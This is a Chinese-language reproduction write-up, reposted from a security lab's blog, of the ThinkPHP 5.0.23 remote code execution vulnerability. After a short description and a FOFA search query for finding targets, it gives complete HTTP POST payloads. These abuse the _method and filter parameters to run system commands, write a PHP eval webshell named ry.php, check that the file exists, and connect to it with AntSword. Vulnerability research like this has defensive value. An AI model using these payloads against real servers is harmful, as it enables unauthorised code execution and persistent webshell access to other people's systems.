-Thinkphp5.0.23 rce

本文转载于公众号：融云攻防实验室，原文地址：

漏洞复现-Thinkphp5.0.23 rce

0x01 阅读须知

0x02 漏洞描述

 ThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架。该漏洞在5.0.23以前的版本中，由于获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。

0x03 漏洞复现

漏洞影响:ThinkPHP 5.0.0~5.0.23

FOFA:“thinphp”

1.url后缀加入/index.php?s=captcha显示thinkphp版本为V5.0.23

http://x.x.x.x:8080/index.php?s=captcha

2.写入一句话木马，回显错误500

POST /index.php?s=captcha HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: AuthSession=dnVsaHViOjYyNTUwNEU2OtrW5YMzoY_6lZb4NqGJ2xaCO80f; PHPSESSID=44e90136f8b96d9bde7aa0ec62dc9c1b
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 114

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo \"<?php @eval(\\$_POST[\'ry\'])?>\" > ry.php

3.通过执行系统命令ls查看是否存在ry.php的webshell，如图写入成功

POST /index.php?s=captcha HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: AuthSession=dnVsaHViOjYyNTUwNEU2OtrW5YMzoY_6lZb4NqGJ2xaCO80f; PHPSESSID=44e90136f8b96d9bde7aa0ec62dc9c1b
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

4.蚁剑连接http://x.x.x.x:8080/ry.php，密码为ry，得到一个webshell